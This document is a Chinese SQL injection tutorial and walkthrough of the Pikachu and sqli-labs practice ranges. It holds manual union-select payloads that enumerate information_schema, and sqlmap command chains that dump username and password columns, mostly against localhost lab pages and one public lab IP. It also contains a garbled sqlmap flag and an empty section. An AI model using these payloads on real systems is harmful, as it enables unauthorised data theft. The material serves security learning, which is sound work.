目录
一、前置知识
二、SQL注入
三、 注入的一般方法
1. 手动注入
(1)联合查询union注入:
(2)基于报错信息注入:
(3)盲注:
2. 使用sqlmap注入
(1) 前置知识
(2) GET型
(3) POST型
1) 文件形式
2)参数形式
3)自动扫描自带常见表单
3. 使用脚本
四、开启pikachu注入旅途
1. 数字型注入(POST)
采用手动联合注入方法
采用sqlmap探测方法
2. 字符型注入(GET)
采用手动联合注入方法
采用sqlmap探测方法
3. 搜索型注入(get)
一、前置知识
· 一些重要的SQL命令 1. select-从数据库提取数据 2. update-更新数据库中的数据 3. delete-从数据库中删除数据 4. insert into-向数据库中插入新数据 5. create database-创建新数据库 6. alter database-修改数据库 7. create table-创建新表 8. alter table-变更(改变)数据库表 9. drop table-删除表 10. create index-创建索引(搜索键) 11. drop index-删除索引
了解sql语法:SQL 教程 | 菜鸟教程
练习sql语法:SQLBolt - Learn SQL - SQL Lesson 1: SELECT queries 101
为什么存在sql注入 1. 语言分类:解释型语言和编译型语言。 解释型语言:是一种在运行时由一个运行时组件解释语言代码并执行其中包含指令的语言 编译型语言:代码在生成时转化为机器指令,然后在运行时直接由使用该语言的计算机执行这些命令 在解释型语言中,如果程序与用户进行交互。用户就可以构造特殊的输入来拼接到程序中执行,从而使得程序依据用户输入执行可能存在恶意行为的代码
2. 可控变量,带入数据库查询,变量未存在过滤或过滤不严谨 注入产生的原因是接受相关参数未经过滤直接带入数据库查询操作。 SQL注入:服务器端未严格校验客户端发送的数据,而导致服务端SQL语句被恶意修改并成功执行 会产生SQL注入原因 : 1. 代码对带入SQL语句的参数过滤不严格 2. 未启用框架的安全配置 3. 未使用框架安全的查询方法 4. 测试接口未删除 5. 未启用防火墙 6. 未使用其他安全的防护设备
SQL注入危害: 1. 登录功能:数据库信息泄露,数据库存放的用户隐私信息泄露 2. 搜索功能:网页篡改;网页被挂马,传播恶意软件;修改数据库一些字段的值,嵌入网马链接,进行挂马攻击 3. 详情页:数据库被恶意操作;数据库服务器被攻击;数据库系统管理员账户被篡改 4. 商品购买:服务器被远程控制 总结:任何和数据库产生交互的地方都会存在注入
注入的一般步骤: (1)SQL注入点探测。通过适当的分析应用程序可以判断什么地方存在SQL注入点。通常只要带有输入提交的动态网页并且动态网页访问数据库就可能存在SQL注入漏洞 (2)收集后台数据库信息。由于不同的数据库注入方法、函数都不一样,所以在注入之前要先判断数据库类型。 (3)猜解用户名和密码。数据库中的表和字段命名一般都是有规律的,通过构造特殊的SQL语句在数据库中一次猜解出表名、字段名、字段数、用户名和密码。 (4)查找Web后台管理入口。WEB后台管理通常不对普通用户开放,要找到后台管理的登录网址,可以利用Web目录扫描工具(如:wwwscan、AWVS)快速搜索到可能的登录地址,然后逐一尝试,便可以找到后台管理平台的登录网址。 (5)入侵和破坏。
注入的分类 按照请求方法分类: 1. GET型注入 2. POST型注入 按照数据类型分类: 1. 整型注入 2. 字符型注入 其他类型: 1. 报错注入 2. 双注入 3. 时间盲注 4. Cookie注入 5. User-Agent注入
SQL注入总结: 1. 判断是否注入(是否严格校验) (1)可控参数(id)能否影响页面显示 (2)输入的SQL语句是否能报错(能通过数据库报错,看到数据库一些语句痕迹)(select username,password from user where id = ?’ )后面单引号或者双引号 通过在URL中修改对应的id值,值为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠\来探测URL中是否存在注入点 (3)输入的SQL语句能否不报错(我们的语句能够成功闭合) (select username,password from user where id = '?’ #'limite 0,1') 2. 什么类型的注入? 3. 语句能否被恶意修改(select username,password from user where id = '?’ and 0 #) 4. 是否能够成功执行 5. 获取我们想要的注入 数据库->表->字段->值 抓包找出万能密码 (找出具体是哪种后台语言,确定万能密码)
三、 注入的一般方法
1. 手动注入
(1)联合查询union注入:
使用联合查询进行注入的前提是我们要进行注入的页面必须有显示位。 所谓联合查询注入即是使用union合并两个或多个SELECT语句的结果集,所以两个及以上的 select 必须有相同列、且各列的数据类型也都相同,同时,每条 SELECT 语句中的列的顺序必须相同。联合查询可先在链接最后添加 order by X 基于随意数字的注入,根据页面的返回结果来判断站点中的字段数目。 查询的字段必须等于主查询的字段,这个时候可以在SQL语句后面加order by进行排序,通过这个办法可以判断主查询的字段。
(2)基于报错信息注入:
此方法是在页面没有显示位,但是 echomysql_error(); 函数,在前端输出了错误信息的时候方能使用。 优点是注入速度快,缺点是语句较为复杂,而且只能用 limit 依次进行猜解。总体来说,报错注入其实是一种公式化的注入方法,主要用于在页面中没有显示位,但是用 echomysql_error(); 输出了错误信息时使用。常见的select/insert/update/delete 注入都可以使用报错方式来获取信息。
(3)盲注:
使用left、length、ascii....函数进行猜解,后续会带入靶场讲解
2. 使用sqlmap注入
(1) 前置知识
--batch: 用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。 --technique:选择注入技术,B:Boolean-based-blind (布尔型盲注) --threads 10 :设置线程为10,运行速度会更快
#查询数据库 #【security】
python sqlmap.py -u 'http://139.224.112.182:8087/sqli1/Less-5/?id=1' --dbs --batch --threads 10 #获取数据库中的表 #【emails、referers、uagents、users】
python sqlmap.py -u 'http://139.224.112.182:8087/sqli1/Less-5/?id=1' -D security --tables --batch --threads 10
#获取表中的字段名 #【id、username、password】
python sqlmap.py -u 'http://139.224.112.182:8087/sqli1/Less-5/?id=1' -D security -T users --columns --batch --threads 10
#获取字段信息 #【Dumb|Dumb、dhakkan|dumbo ...】
python sqlmap.py -u 'http://139.224.112.182:8087/sqli1/Less-5/?id=1' -D security -T users -C username,password --dump --batch --threads 10
指定目标 U 使用参数 -u 或 –url 指定一个 URL 作为目标,该参数后跟一个表示 URL 的字符串,还可以指定端口,如: sqlmap.py -u 'www.baidu.com/user.php?id=7' sqlmap.py -url 'www.baidu.com:8080/user.php?id=7' · 列库 dbs 在检测出了存在注入后,就要进行对数据库的列举,命令是 --dbs · 列表 tables 在列出了 Web 程序的库后,要根据这个库来列出表,命令是 -D '库名’ --tables · 列字段 columns 得到了库和表之后,可以根据这个库表来列出表里的字段进行数据的读取,命令是 -D '数据库名字’ -T '表的名字’ --columns
(2) GET型
* 检查注入点 sqlmap.py -u 网址 * 爆出所有数据库 sqlmap.py -u 网址 --cshiurrent --dbs * 爆表 sqlmap.py -u 网址 -D 数据库名 --tables * 爆列 sqlmap.py -u 网址 -D 数据库名 -T 表名 --columns * 爆值 sqlmap.py -u 网址 -D 数据库名 -T 表名 -C 字段名 --dump
(3) POST型
1) 文件形式
以pikachu靶场第一关数字型注入post形式为例 * burpsuite抓包保存至某个路径下
* 扫描注入类型 payload:python sqlmap.py -r 'D:\post.txt' * 爆出所有数据库 python sqlmap.py -r 'D:\post.txt' --dbs * 爆表 python sqlmap.py -r 'D:\post.txt' -D 数据库名 --tables * 爆列 python sqlmap.py -r 'D:\post.txt' -D 数据库名 -T 表名 --columns * 爆值 python sqlmap.py -r 'D:\post.txt' -D 数据库名 -T 表名 -C 字段名 --dump
2)参数形式
以pikachu靶场第一关数字型注入post形式为例 * burpsuite抓包查看参数 参数:id=1&submit=%E6%9F%A5%E8%AF%A2 * 扫描注入类型 payload:python sqlmap.py -u 'http://127.0.0.1/pikachu/vul/sqli/sqli_id.php' --data 'id=1&submit=%E6%9F%A5%E8%AF%A2' * 爆出所有数据库 python sqlmap.py -u 'http://127.0.0.1/pikachu/vul/sqli/sqli_id.php' --data 'id=1&submit=%E6%9F%A5%E8%AF%A2' --dbs * 爆表 python sqlmap.py -u 'http://127.0.0.1/pikachu/vul/sqli/sqli_id.php' --data 'id=1&submit=%E6%9F%A5%E8%AF%A2' -D 数据库名 --tables * 爆列 python sqlmap.py -u 'http://127.0.0.1/pikachu/vul/sqli/sqli_id.php' --data 'id=1&submit=%E6%9F%A5%E8%AF%A2' -D 数据库名 -T 表名 --columns * 爆值 python sqlmap.py -u 'http://127.0.0.1/pikachu/vul/sqli/sqli_id.php' --data 'id=1&submit=%E6%9F%A5%E8%AF%A2' -D 数据库名 -T 表名 -C 字段名 --dump
3)自动扫描自带常见表单
感觉类似于猜常见参数(类似于爆破思想吧) payload:python sqlmap.py -u 'http://127.0.0.1/pikachu/vul/sqli/sqli_id.php' --forms
3. 使用脚本
四、开启pikachu注入旅途
1. 数字型注入(POST)
· 概念 当输入的参数为整型时,如ID、年龄、页码等,如果存在注入漏洞,则可以认为是数字型注入。这种数字型注入最多出现在ASP、PHP等弱类型语言中,弱类型语言会自动推导变量类型,例如,参数id=8,PHP会自动推导变量id的数据类型为int类型,那么id=8 and 1=1,则会推导为string类型,这是弱类型语言的特性。而对于Java、C#这类强类型语言,如果试图把一个字符串转换为int类型,则会抛出异常,无法继续执行。所以,强类型的语言很少存在数字型注入漏洞。 数字型:select * from table where id =$id
· 判断 这种类型可以使用经典的 and 1=1 和 and 1=2 来判断: select * from <表名> where id = 1 and 1=1 (true) select * from <表名> where id = 1 and 1=2 (false) 字符型: select * from <表名> where id = '1 and 1=1' select * from <表名> where id = '1 and 1=2' 不会进行逻辑判断(转化为字符型语句,单引号里面就是一团内容)
· 数字 or 1=1 举例: select * from table where id = 1 or 1 = 1 永为真
· 步骤
(1)利用1 order by判断字段数 (2)显位:联合查询查看显示位 1 union select 1,2 # (3)爆库:显示出数据库名字 1 union select 1,group_concat(schema_name) from (information_schema.schemata)# 或 所有数据库 1 union select 1,database()# 当前数据库 (4)爆表:利用union select联合查询,获取表名 1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# 当前数据库的表 1 union select1,group_concat(table_name)from(information_schema.tables) where table_schema='数据库名字' # 指定名称数据库的表 (5)爆列:利用union select 联合查询,获取字段名 1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='表名' # 当前数据库的指定表名 1 union select 1,group_concat(column_name) from (information_schema.columns) where table_name='表名' # 在所有数据库中指定一个表名 (6)爆值:利用union select 联合查询,获取字段值 1 union select 1,group_concat(concat_ws(表名对应的字段名)) from (表名) 在当前数据库中的相应表名的字段值 或 1 union select 1,group_concat(表名对应的字段名) from (数据库.表名) 在所有数据库中对应表名的字段值
采用手动联合注入方法
(1 观察
简单来说,就是输入userid,下拉框里面有一堆值供你选择,并且返回不同值
由于我们要进行爆库,爆表...操作,但是呢,它不能输入进去,因为它是POST型,所以我们就用burpsuite这个安全工具进行抓包出来再发送给repeater进行一些内容的注入
(2 使用burpsuite抓包
单击右键,选择发送给Repeater
很明显啦,id就是一个注入点,所以我们只要修改id的内容就可以实现注入啦
(3 判断
前面说过sql注入有很多类型,在这里我们可以用联合注入的办法先试一下,那么我们就要判断一下它是数字型还是字符型
id=1
id=1'
1'报错,很显然数字型注入
select * from table where id =1'
select * from table where id =1
或者你也可以输入
id=1 and 1 = 1
id=1 and 1 = 2
进行判断
(4 判断字段数
id=1 order by 2 #
id=1 order by 3 #
order by是sql语法的排序,当字段数超过就会报错,所以我们可以不多加数字试探出字段数
显然,字段数为2
(5 显位
id=1 union select 1,2 #
可以看出来,1,2位置都可以显示出位置,所以我们可以用联合注入进行注入,并且在1,2的位置都可以放入注入语句进行爆值
(6 爆库
1 union select 1,group_concat(schema_name) from (information_schema.schemata) # 或 所有数据库 1 union select 1,database() # 当前数据库
所有数据库:information_schema,challenges,mysql,performance_schema,pikachu,security,sys
当前数据库:pikachu
(7 爆表
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # 当前数据库的表 1 union select1,group_concat(table_name)from(information_schema.tables) where table_schema='数据库名字' # 指定名称数据库的表
当前数据库pikachu中的表有: httpinfo,member,message,users,xssblind
在security库中表有:emails,referers,uagents,users
8) 爆列
1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='表名' # 当前数据库的指定表名 1 union select 1,group_concat(column_name) from (information_schema.columns) where table_name='表名' # 在所有数据库中指定一个表名
9) 爆值 1 union select 1,group_concat(表名对应的字段名) from (数据库.表名) 在所有数据库中对应表名的字段值
其余省略
采用sqlmap探测方法
1. 文件形式
burpsuite抓包保存至某个路径下(我的是d盘的post.txt文件里)
扫描注入类型
python sqlmap.py -r 'D:\post.txt'
爆出所有数据库
python sqlmap.py -r 'D:\post.txt'--dbs
后续步骤省略
2. 参数形式
burpsuite抓包查看参数 参数:id=1&submit=%E6%9F%A5%E8%AF%A2
扫描注入类型
python sqlmap.py -u 'http://127.0.0.1/pikachu/vul/sqli/sqli_id.php' --data 'id=1&submit=%E6%9F%A5%E8%AF%A2'
爆出所有数据库
python sqlmap.py -u 'http://127.0.0.1/pikachu/vul/sqli/sqli_id.php' --data 'id=1&submit=%E6%9F%A5%E8%AF%A2' --dbs
后续步骤省略
2. 字符型注入(GET)
采用手动联合注入方法
1) 判断
在输入框中输入1',1',1%'看看情况
显然,1'报错由于我们没正确闭合,所以这里需要闭合的符号就是单引号
2)判断字段数
payload:1' order by 2#和1' order by 3#
所以字段数为2
3) 显位
用判断出的字段数显位看看,它可以返回内容的地方就可以利用联合注入语句在对于位置注入,得到后续想要的内容。如果都不行,则考虑报错注入和布尔盲注试一试。
payload:1' union select 1,2#
发现1和2的位置都可以正确回显,1,2地方使用联合注入
4)爆库
1' union select 1,group_concat(schema_name) from (information_schema.schemata) # 或 所有数据库 1' union select 1,database() # 当前数据库
所有数据库:information_schema,challenges,mysql,performance_schema,pikachu,security,sys
当前数据库:pikachu
5) 爆表 1' union select 1,group_concat(table_name)from(information_schema.tables) where table_schema='数据库名字' # 指定名称数据库的表
pikachu数据库中的表:httpinfo,member,message,users,xssblind
6) 爆列
1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='表名' # 当前数据库的指定表名 1 union select 1,group_concat(column_name) from (information_schema.columns) where table_name='表名' # 在所有数据库中指定一个表名
7) 爆值
1' union select 1,group_concat(表名对应的字段名) from (数据库.表名) # 在所有数据库中对应表名的字段值
采用sqlmap探测方法
扫描注入类型
payload:python sqlmap.py -u 'http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2'
扫描存在字符型(')布尔盲注、报错注入、时间盲注、联合注入
爆库
payload:python sqlmap.py -u 'http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2' --dbs
后续步骤省略
3. 搜索型注入(get)
|